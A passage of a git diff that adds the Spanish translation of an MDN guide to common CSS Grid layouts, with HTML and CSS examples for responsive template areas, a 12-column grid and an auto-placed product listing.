+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Propiedades</strong></a>
+  <ol>
+   <li><a href="/es/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glosario</strong></a>
+  <ol>
+   <li><a href="/es/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/es/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/es/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/es/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/es/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/es/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/es/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/es/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/es/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
+</section>
diff --git a/files/es/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/es/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html
new file mode 100644
index 0000000000..d477402114
--- /dev/null
+++ b/files/es/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html
@@ -0,0 +1,597 @@
+---
+title: Realizing common layouts using CSS Grid Layout
+slug: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout
+tags:
+  - CSS
+  - CSS Grids
+  - Guía
+translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout
+---
+<p>Para completar este conjunto de guías de CSS Grid Layout, voy a recorrer algunos diseños diferentes, que demuestran algunas de las diferentes técnicas que puede utilizar al diseñar con grid layout. Vamos a ver un ejemplo usando <a href="/es/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas"> grid-template-areas</a> un típico sistema de cuadrícula flexible de 12 columnas, y también un listado de productos usando el emplazamiento automático. Como puedes ver en este conjunto de ejemplos, a menudo hay más de una manera de lograr el resultado que deseas con el diseño de cuadrícula. Escoge el método que encuentres más útil para los problemas que estás resolviendo y los diseños que necesitas implementar.</p>
+
+<h2 id="Responsive_layout_de_1_a_3_columnas_fluidas_usando_grid-template-areas">Responsive layout de 1 a 3 columnas fluidas usando <code>grid-template-areas</code></h2>
+
+<p>Muchos sitios web son una variación de este tipo de diseño: contenido, barras laterales, un encabezado y un pie de página. En diseños responsivos, es posible que quieras mostrar el diseño en una sola columna, agregando una barra lateral en un punto de interrupción determinado y luego incorporar un diseño de tres columnas para pantallas más amplias.</p>
+
+<p><img alt="Image of the three different layouts created by redefining our grid at two breakpoints." src="https://mdn.mozillademos.org/files/14749/11-responsive-areas.png"></p>
+
+<p>Voy a crear este layout usando la propiedad <em>named template areas</em> que aprendimos en la guía <em><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></em>.</p>
+
+<p>Mi marcado consiste en un container con elementos en su interior para el header, footer, contenido principal, navegación, sidebar, y un bloque para poner anuncios./p&gt;</p>
+
+<div id="layout_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+    .wrapper {
+        max-width: 1024px;
+        margin: 0 auto;
+        font: 1.2em Helvetica, arial, sans-serif;
+    }
+
+    .wrapper &gt; * {
+        border: 2px solid #f08c00;
+        background-color: #ffec99;
+        border-radius: 5px;
+        padding: 10px;
+    }
+
+    nav ul {
+        list-style: none;
+        margin: 0;
+        padding: 0;
+    }
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+        &lt;header class="main-head"&gt;The header&lt;/header&gt;
+        &lt;nav class="main-nav"&gt;
+            &lt;ul&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 1&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 2&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 3&lt;/a&gt;&lt;/li&gt;
+            &lt;/ul&gt;
+        &lt;/nav&gt;
+        &lt;article class="content"&gt;
+            &lt;h1&gt;Área principal del artículo&lt;/h1&gt;
+            &lt;p&gt;En este diseño, las áreas se muestran en el orden en que están escritas en las pantallas de menos de 500 píxeles de ancho. Pasamos a un diseño de dos columnas, y luego a uno de tres columnas mediante la redefinición de la rejilla y la colocación de los elementos en ella.&lt;/p&gt;
+        &lt;/article&gt;
+        &lt;aside class="side"&gt;Sidebar&lt;/aside&gt;
+        &lt;div class="ad"&gt;Advertising&lt;/div&gt;
+        &lt;footer class="main-footer"&gt;The footer&lt;/footer&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Al usar {{cssxref("grid-template-areas")}} para crear el diseño. A parte de las media queries necesito nombrar las áreas. Nombremos las áreas con la propiedad {{cssxref("grid-area")}} property.</p>
+
+<pre class="brush: css">.main-head {
+  grid-area: header;
+}
+.content {
+  grid-area: content;
+}
+.main-nav {
+  grid-area: nav;
+}
+.side {
+  grid-area: sidebar;
+}
+.ad {
+  grid-area: ad;
+}
+.main-footer {
+  grid-area: footer;
+}
+</pre>
+
+<p>Esto no creará ningún diseño, sin embargo, nuestros elementos ahora tienen nombres que podemos utilizar para hacerlo. Al margen de las media queries, ahora voy a configurar el diseño para el ancho móvil. Aquí estoy manteniendo todo en el orden de origen, tratando de evitar cualquier separación entre la fuente y la pantalla, tal y como se describe en la guía <em><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">Grid layout y accesibilidad</a></em>. No he definido ninguna vía de columna o de fila, pero este diseño dicta una sola columna, y las filas se crearán según sea necesario para cada uno de los items de la cuadrícula implícita.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-gap: 20px;
+  grid-template-areas:
+    "header"
+    "nav"
+    "content"
+    "sidebar"
+    "ad"
+    "footer";
+}
+</pre>
+
+<p>Después de establecer la columna simple para todas los tamaños de pantalla, ahora podemos añadir una <a href="/es/docs/Web/CSS/Media_Queries">media query</a> y redefinir nuestro layout para los casos en los que tuviéramos suficiente pantalla real como para mostrar dos columnas.</p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+  .wrapper {
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas:
+      "header  header"
+      "nav     nav"
+      "sidebar content"
+      "ad      footer";
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+</pre>
+
+<p>Se puede ver la forma del layout en los valores de {{cssxref("grid-template-areas")}}. El <code>header</code> se expande en dos vías de columna, lo mismo que <code>nav</code>. En la tercera vía de fila tenemos el <code>sidebar</code> al costado del <code>content</code>. En la cuarta vía de fila he decidido poner el contenido <code>ad</code> – por tanto aparecerá debajo de sidebar,y a continuación, el <code>footer</code> , debajo del contenido. Estoy utilizando flexbox en la navegación para mostrarlo en una fila espaciada.</p>
+
+<p>Ahora puedo añadir un punto de ruptura final para pasar a un diseño de tres columnas.</p>
+
+<pre class="brush: css">@media (min-width: 700px) {
+  .wrapper {
+    grid-template-columns: 1fr 4fr 1fr;
+    grid-template-areas:
+      "header header  header"
+      "nav    content sidebar"
+      "nav    content ad"
+      "footer footer  footer"
+   }
+   nav ul {
+     flex-direction: column;
+   }
+}
+</pre>
+
+<p>El diseño de tres columnas tiene dos columnas laterales de <code>1fr</code> y una columna central que tiene <code>4fr</code> como tamaño de vía. Esto significa que el espacio disponible en el contenedor se divide en 6 y se asigna en proporción a nuestras tres pistas - una parte cada una a las columnas laterales y 4 partes al centro.</p>
+
+<p>En este diseño estoy mostrando <code>nav</code> en la columna de la izquierda, junto al <code>content</code>. En la columna de la derecha tenemos <code>sidebar</code> y debajo están los anuncios (<code>ad</code>). El <code>footer</code> se extiende a lo largo de la parte inferior del diseño. Luego uso flexbox para mostrar la navegación como una columna.</p>
+
+<p>{{ EmbedLiveSample('layout_1', '800', '500') }}</p>
+</div>
+
+<p>Este es un ejemplo simple pero demuestra cómo podemos usar un diseño de cuadrícula para reorganizar nuestro diseño para diferentes puntos de ruptura. En particular, estoy cambiando la ubicación de ese bloque de anuncios <code>ad</code>, según corresponda en mis diferentes configuraciones de columna. Este método de nombrar las áreas me parece muy útil en una etapa de prototipado, es fácil jugar con la ubicación de los elementos. Siempre se puede empezar a utilizar la rejilla de esta manera para la creación de prototipos, incluso si no se puede confiar plenamente en ella en producción debido a los navegadores que visitan su sitio.</p>
+
+<h2 id="Diseño_flexible_de_12-columnas">Diseño flexible de 12-columnas</h2>
+
+<p>Si has estado trabajando con uno de los muchos frameworks o sistemas de cuadrícula puedes estar acostumbrado a diseñar tu sitio en una cuadrícula flexible de 12 o 16 columnas. Podemos crear este tipo de sistema utilizando CSS Grid Layout. Como ejemplo simple, estoy creando una cuadrícula flexible de 12 columnas que tiene 12 pistas de columna de <code>1fr</code> -unidad, todas tienen una línea de inicio llamada <code>col-start</code>. Esto significa que tendremos doce líneas de cuadrícula llamadas <code>col-start</code>.</p>
+
+<div id="layout_2">
+<div class="hidden">
+<pre class="brush: css">.wrapper {
+  max-width: 1024px;
+  margin: 0 auto;
+  font: 1.2em Helvetica, arial, sans-serif;
+}
+.wrapper &gt; * {
+  border: 2px solid #f08c00;
+  background-color: #ffec99;
+  border-radius: 5px;
+  padding: 10px;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+</pre>
+
+<p>Para demostrar cómo funciona este sistema de rejilla tengo 4 ítems hijos dentro de mi wrapper.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Start column line 1, span 3 column tracks.&lt;/div&gt;
+  &lt;div class="item2"&gt;Start column line 6, span 4 column tracks. 2 row tracks.&lt;/div&gt;
+  &lt;div class="item3"&gt;Start row 2 column line 2, span 2 column tracks.&lt;/div&gt;
+  &lt;div class="item4"&gt;Start at column line 3, span to the end of the grid (-1).&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Entonces puedo ponerlos en la rejilla usando los nombres de las líneas, y la palabra clave span.</p>
+
+<pre class="brush: css">.item1 {
+  grid-column: col-start / span 3;
+}
+.item2 {
+  grid-column: col-start 6 / span 4 ;
+  grid-row: 1 / 3;
+}
+.item3 {
+  grid-column: col-start 2 / span 2;
+  grid-row: 2;
+}
+.item4 {
+  grid-column: col-start 3 / -1;
+  grid-row: 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('layout_2', '800', '400') }}</p>
+</div>
+
+<p>Como se describe en la <a href="/es/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">guía de líneas con nombre</a>, estamos utilizando la línea con nombre para colocar nuestro ítem. Como tenemos 12 líneas todas con el mismo nombre usamos el nombre, y luego el index de la línea. También puedes usar el propio index de líneas si lo prefieres y evitar el uso de líneas con nombre.</p>
+
+<p>En lugar de establecer el número de la línea final, he elegido decir cuántas pistas debe expandir este elemento, utilizando la palabra clave span. Me gusta este enfoque, ya que cuando trabajamos con un sistema de diseño de múltiples columnas normalmente pensamos en bloques en términos del número de vías de la cuadrícula que atraviesan, y los ajustamos para diferentes puntos de ruptura. Para ver cómo se alinean los bloques con las vías, utiliza el <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Inspector</a>. Muestra claramente cómo se colocan nuestros ítems.</p>
+
+<p><img alt="Showing the items placed on the grid with grid tracks highlighted." src="https://mdn.mozillademos.org/files/14753/11-grid-inspector-12col.png"></p>
+
+<p>Existen algunas diferencias clave sobre cómo funciona un diseño de cuadrícula en los sistemas de cuadrícula que se pueden haber utilizado anteriormente. Como puedes ver, no necesitamos añadir ningún marcado para crear una fila, los sistemas de cuadrícula necesitan hacer esto para evitar que los elementos salten a la fila de arriba. Con CSS Grid Layout, podemos colocar las cosas en filas, sin peligro de que suban a la fila de arriba si se dejan vacías. Debido a esta <em>estricta</em> colocación de columnas y filas, también podemos dejar fácilmente espacio en blanco en nuestro diseño. Tampoco necesitamos clases especiales que tiren o empujen cosas, para que se introduzcan en la rejilla. Todo lo que tenemos que hacer es especificar la línea de inicio y final del ítem.</p>
+
+<h3 id="Construcción_de_un_diseño_utilizando_el_sistema_de_12_columnas">Construcción de un diseño utilizando el sistema de 12 columnas</h3>
+
+<p>Para ver cómo funciona este método de diseño en la práctica, podemos crear el mismo diseño que creamos con {{cssxref("grid-template-areas")}}, esta vez utilizando el sistema de cuadrícula de 12 columnas. Comienzo con el mismo marcado que el utilizado para el ejemplo de áreas de plantillas de cuadrícula.</p>
+
+<div id="layout_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+    .wrapper {
+        max-width: 1024px;
+        margin: 0 auto;
+        font: 1.2em Helvetica, arial, sans-serif;
+    }
+
+    .wrapper &gt; * {
+        border: 2px solid #f08c00;
+        background-color: #ffec99;
+        border-radius: 5px;
+        padding: 10px;
+    }
+
+    nav ul {
+        list-style: none;
+        margin: 0;
+        padding: 0;
+    }
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+        &lt;header class="main-head"&gt;The header&lt;/header&gt;
+        &lt;nav class="main-nav"&gt;
+            &lt;ul&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 1&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 2&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 3&lt;/a&gt;&lt;/li&gt;
+            &lt;/ul&gt;
+        &lt;/nav&gt;
+        &lt;article class="content"&gt;&lt;h1&gt;Área principal del artículo&lt;/h1&gt;
+        &lt;p&gt;En este diseño, las áreas se muestran en el orden en que están escritas en las pantallas de menos de 500 píxeles de ancho. Pasamos a un diseño de dos columnas, y luego a uno de tres columnas mediante la redefinición de la rejilla y la colocación de los elementos en ella.&lt;/p&gt;&lt;/article&gt;
+        &lt;aside class="side"&gt;Sidebar&lt;/aside&gt;
+        &lt;div class="ad"&gt;Advertising&lt;/div&gt;
+        &lt;footer class="main-footer"&gt;The footer&lt;/footer&gt;
+    &lt;/div&gt;
+</pre>
+
+<p>Entonces puedo configurar nuestra cuadrícula, como en el ejemplo del diseño de 12 columnas de arriba.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+</pre>
+
+<p>Una vez más vamos a hacer de este un diseño responsivo, pero esta vez usando líneas con nombre. Cada punto de interrupción utilizará una cuadrícula de 12 columnas, sin embargo, el número de pistas que los ítems expandirán cambiará dependiendo del tamaño de la pantalla.</p>
+
+<p>Empezamos con el móvil primero, y todo lo que queremos para las pantallas más estrechas es que los elementos permanezcan en el orden de origen, y que todos se expandan a lo largo de la cuadrícula.</p>
+
+<pre class="brush: css">.wrapper &gt; * {
+  grid-column: col-start / span 12;
+}
+</pre>
+
+<p>En el siguiente punto de ruptura queremos pasar a un diseño de dos columnas. Nuestro encabezado y navegación todavía se extienden por toda la cuadrícula, por lo que no necesitamos especificar ninguna posición para ellos. La barra lateral comienza en la primera línea de la columna llamada col-start, que abarca 3 líneas. Va después de la línea 3 de la fila, ya que la cabecera y la navegación se encuentran en las dos primeras pistas de la fila.</p>
+
+<p>El panel de anuncios se encuentra debajo de la barra lateral, por lo que comienza en la línea 4 de la fila de la cuadrícula. Luego tenemos el contenido y el pie de página comenzando en col-start 4 y abarcando 9 pistas que los llevan al final de la cuadrícula.</p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+
+  .side {
+    grid-column: col-start / span 3;
+    grid-row: 3;
+  }
+  .ad {
+    grid-column: col-start / span 3;
+    grid-row: 4;
+  }
+  .content, .main-footer {
+    grid-column: col-start 4 / span 9;
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+</pre>
+
+<p>Finalmente vamos a la versión de tres columnas de este diseño. El encabezado continúa extendiéndose por toda la cuadrícula, pero ahora la navegación se mueve hacia abajo para convertirse en la primera barra lateral, con el contenido y la barra lateral al lado. El pie de página ahora también se extiende por todo el diseño.</p>
+
+<pre class="brush: css">@media (min-width: 700px) {
+  .main-nav {
+    grid-column: col-start / span 2;
+    grid-row: 2 / 4;
+  }
+  .content {
+    grid-column: col-start 3 / span 8;
+    grid-row: 2 / 4;
+  }
+  .side {
+    grid-column: col-start 11 / span 2;
+    grid-row: 2;
+  }
+  .ad {
+    grid-column: col-start 11 / span 2;
+    grid-row: 3;
+  }
+  .main-footer {
+    grid-column: col-start / span 12;
+  }
+  nav ul {
+    flex-direction: column;
+  }
+}
+</pre>
+
+<p>{{ EmbedLiveSample('layout_3', '800', '450') }}</p>
+</div>
+
+<p>Una vez más el Grid Inspector <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a> es útil para ayudarnos a ver cómo ha tomado forma nuestro diseño.</p>
+
+<p><img alt="Showing the layout with grid tracks highlighted by the grid inspector." src="https://mdn.mozillademos.org/files/14755/11-grid-inspector-12col-layout.png" style="height: 614px; width: 2050px;"></p>
+
+<p>Algo a tener en cuenta a la hora de crear este diseño es que no hemos necesitado posicionar explícitamente cada elemento en la cuadrícula en cada punto de ruptura. Hemos sido capaces de heredar la colocación establecida para puntos de ruptura anteriores - una ventaja de trabajar " mobile first ". También podemos aprovechar la colocación automática de la rejilla. Al mantener los elementos en un orden lógico, la colocación automática realiza una gran cantidad de trabajo por nosotros al colocar los elementos en la cuadrícula. En el último ejemplo de esta guía crearemos un diseño que se basa totalmente en la colocación automática</p>
+
+<h2 id="Un_listado_de_productos_con_auto-placement">Un listado de productos con auto-placement</h2>
+
+<p>Muchos diseños son esencialmente conjuntos de "tarjetas" - listados de productos, galerías de imágenes, etc. Una cuadrícula puede hacer que sea muy fácil crear estos listados de una manera responsiva sin necesidad de añadir <a href="/es/docs/Web/CSS/Media_Queries">media queries</a> para ello. En este siguiente ejemplo estoy combinando CSS Grid y Flexbox Layouts para hacer un sencillo diseño de listado de productos.</p>
+
+<p>El marcado de mi anuncio es una lista no ordenada de artículos. Cada elemento contiene un encabezado, un texto de altura variable y un enlace para llamar a la acción.</p>
+
+<div id="layout_4">
+<pre class="brush: html">&lt;ul class="listing"&gt;
+  &lt;li&gt;
+    &lt;h2&gt;Item Uno&lt;/h2&gt;
+    &lt;div class="body"&gt;&lt;p&gt;El contenido de este ítem-lista va aquí.&lt;/p&gt;&lt;/div&gt;
+    &lt;div class="cta"&gt;&lt;a href=""&gt;¡Llamada a la acción!&lt;/a&gt;&lt;/div&gt;
+  &lt;/li&gt;
+   &lt;li&gt;
+     &lt;h2&gt;Item Dos&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;El contenido de este ítem-lista va aquí.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;¡Llamada a la acción!&lt;/a&gt;&lt;/div&gt;
+   &lt;/li&gt;
+   &lt;li class="wide"&gt;
+     &lt;h2&gt;Item Tres&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;El contenido de este ítem-lista va aquí.&lt;/p&gt;
+     &lt;p&gt;Este tiene más texto que los demás.&lt;/p&gt;
+     &lt;p&gt;Un poquito más&lt;/p&gt;
+     &lt;p&gt;¿Podríamos hacer algo diferente con él?&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;¡Llamada a la acción!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+     &lt;h2&gt;Item Cuatro&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;El contenido de este ítem-lista va aquí.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;¡Llamada a la acción!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+     &lt;li&gt;
+     &lt;h2&gt;Item Cinco&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;El contenido de este ítem-lista va aquí.&lt;/p&gt;&lt;/div&gt;
+      &lt;div class="cta"&gt;&lt;a href=""&gt;¡Llamada a la acción!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+    img {max-width: 100%; display: block;}
+    body {
+        font: 1.2em Helvetica, arial, sans-serif;
+    }
+    a:link, a:visited {
+      text-decoration: none;
+      color: #f08c00;
+    }
+
+    h2 {
+      background-color: #f08c00;
+      color: #fff;
+      text-align: center;
+      margin: 0;
+      padding: 20px;
+    }
+</pre>
+</div>
+
+<p>Vamos a crear una cuadrícula con un número flexible de columnas flexibles. Quiero que nunca sean más pequeñas que 200 píxeles, y que luego compartan el espacio restante disponible por igual, de modo que siempre obtengamos pistas de columna de igual ancho. Esto lo logramos con la función <code>minmax()</code> en nuestra notación repeat para el dimensionamiento de pistas.</p>
+
+<pre class="brush: css">.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+</pre>
+
+<p>Tan pronto como añado este CSS, los ítems empiezan a desplegarse como una cuadrícula. Si hago la ventana más pequeña o más ancha, el número de pistas de columna cambia, sin necesidad de añadir puntos de interrupción mediante media queries y redefinir la cuadrícula.</p>
+
+<p>Luego puedo ordenar el interior de las cajas con un pequeño toque de flexbox. Establezco la lista de ítems como <code>display: flex</code> y la propiedad <code>flex-direction</code> como <code>column</code>. Entonces puedo usar un auto margin en <code>.cta</code> para empujar esta barra hacia abajo hasta el fondo de la caja./p&gt;</p>
+
+<pre class="brush: css">.listing li {
+  border: 1px solid #ffe066;
+  border-radius: 5px;
+  display: flex;
+  flex-direction: column;
+}
+.listing .cta {
+  margin-top: auto;
+  border-top: 1px solid #ffe066;
+  padding: 10px;
+  text-align: center;
+}
+.listing .body {
+  padding: 10px;
+}
+</pre>
+
+<p>Esta es realmente una de las razones clave por las que usaría flexbox en lugar de grid, si sólo estoy alineando o distribuyendo algo en una sola dimensión, ese es un caso de uso de flexbox.</p>
+
+<p>{{ EmbedLiveSample('layout_4', '800', '900') }}</p>
+</div>
+
+<p>Todo esto se ve bastante completo ahora, sin embargo, a veces tenemos unas cartas que contienen mucho más contenido que las otras. Podría ser bueno hacer que se expandan a lo largo de dos pistas, y entonces no serán tan altas. Tengo una clase <code>wide</code> en mi ítem más grande, y añado una regla {{cssxref("grid-column-end")}} con el valor <code>span 2</code>. Ahora cuando la rejilla llegue a este ítem, le asignará dos pistas. En algunos puntos de ruptura, esto significa que obtendremos un hueco en la cuadrícula - donde no haya espacio para colocar un elemento de dos pistas.</p>
+
+<p><img alt="The layout has gaps as there is not space to layout a two track item." src="https://mdn.mozillademos.org/files/14751/11-grid-auto-flow-sparse.png" style="height: 812px; width: 800px;"></p>
+
+<p>Puedo hacer que una rejilla rellene esos huecos ajustando {{cssxref("grid-auto-flow")}}<code>: dense</code> en el grid container. Sin embargo, presta atención al hacer esto, ya que saca los elementos de su orden lógico de origen. Sólo deberías hacerlo si tus ítems no tienen un orden establecido - y en ese caso tener en cuenta características de <a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility#Visual_not_logical_re-ordering">accesibilidad</a>: el tabulador seguirá el orden de la fuente y no de la visualización reordenada.</p>
+
+<div id="layout_5">
+<div class="hidden">
+<pre class="brush: html">&lt;ul class="listing"&gt;
+  &lt;li&gt;
+    &lt;h2&gt;Item Uno&lt;/h2&gt;
+    &lt;div class="body"&gt;&lt;p&gt;El contenido de este ítem-lista va aquí.&lt;/p&gt;&lt;/div&gt;
+    &lt;div class="cta"&gt;&lt;a href=""&gt;¡Llamada a la acción!&lt;/a&gt;&lt;/div&gt;
+  &lt;/li&gt;
+   &lt;li&gt;
+     &lt;h2&gt;Item Dos&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;El contenido de este ítem-lista va aquí.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;¡Llamada a la acción!&lt;/a&gt;&lt;/div&gt;
+   &lt;/li&gt;
+   &lt;li class="wide"&gt;
+     &lt;h2&gt;Item Tres&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;El contenido de este ítem-lista va aquí.&lt;/p&gt;
+     &lt;p&gt;Este tiene más texto que los demás.&lt;/p&gt;
+     &lt;p&gt;Un poquito más&lt;/p&gt;
+     &lt;p&gt;¿Podríamos hacer algo diferente con él?&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;¡Llamada a la acción!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+     &lt;h2&gt;Item Cuatro&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;El contenido de este ítem-lista va aquí.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;¡Llamada a la acción!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+     &lt;li&gt;
+     &lt;h2&gt;Item Cinco&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;El contenido de este ítem-lista va aquí.&lt;/p&gt;&lt;/div&gt;
+      &lt;div class="cta"&gt;&lt;a href=""&gt;¡Llamada a la acción!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<pre class="brush: css">* {box-sizing: border-box;}
+    img {max-width: 100%; display: block;}
+    body {
+        font: 1.2em Helvetica, arial, sans-serif;
+    }
+    a:link, a:visited {
+      text-decoration: none;
+      color: #f08c00;
+    }
+
+    h2 {
+      background-color: #f08c00;
+      color: #fff;
+      text-align: center;
+      margin: 0;
+      padding: 20px;
+    }
+
+.listing li {
+  border: 1px solid #ffe066;
+  border-radius: 5px;
+  display: flex;
+  flex-direction: column;
+}
+.listing .cta {
+  margin-top: auto;
+  border-top: 1px solid #ffe066;
+  padding: 10px;
+  text-align: center;
+}
+.listing .body {
+  padding: 10px;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-auto-flow: dense;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+.listing .wide {
+  grid-column-end: span 2;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('layout_5', '800', '900') }}</p>
+
+<p>Esta técnica de auto-placement con algunas reglas aplicadas a ciertos ítems es muy útil, y puede ayudarte a lidiar con el contenido que está siendo generado por un CMS, por ejemplo, donde has repetido ítems y quizás puedas añadir una clase a ciertos ítems a medida que son generados en el HTML. with some rules applied to certain items is very useful, and can help you to deal with content that is being output by a CMS for example, where you have repeated items and can perhaps add a class to certain ones as they are rendered into the HTML.</p>
+</div>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<p>La mejor manera de aprender a usar el diseño de la cuadrícula es continuar construyendo ejemplos como los que hemos tratado aquí. Escoge algo que normalmente construyes usando tu framework preferido, o usando floats, y ve si puedes construirlo usando grid. No olvides buscar ejemplos que sean imposibles de construir con los métodos actuales. Eso podría significar inspirarse en revistas u otras fuentes ajenas a la web. Grid Layout abre posibilidades que antes no teníamos, no necesitamos estar atados a los mismos viejos layouts para utilizarlo</p>
+
+<ul>
+ <li>Para inspirarte mira <a href="http://labs.jensimmons.com/"><em>Layout Labs</em> de Jen Simmons</a>, ella ha estado creando diseños basados en una variedad de fuentes.</li>
+ <li>ara obtener patrones de diseño comunes adicionales, consulta <em><a href="http://gridbyexample.com">Grid by Example</a></em>, donde hay muchos ejemplos&gt; de diseño de cuadrícula y también algunos patrones de interfaz de usuario más grandes y diseños de página completa.</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/es/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/es/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
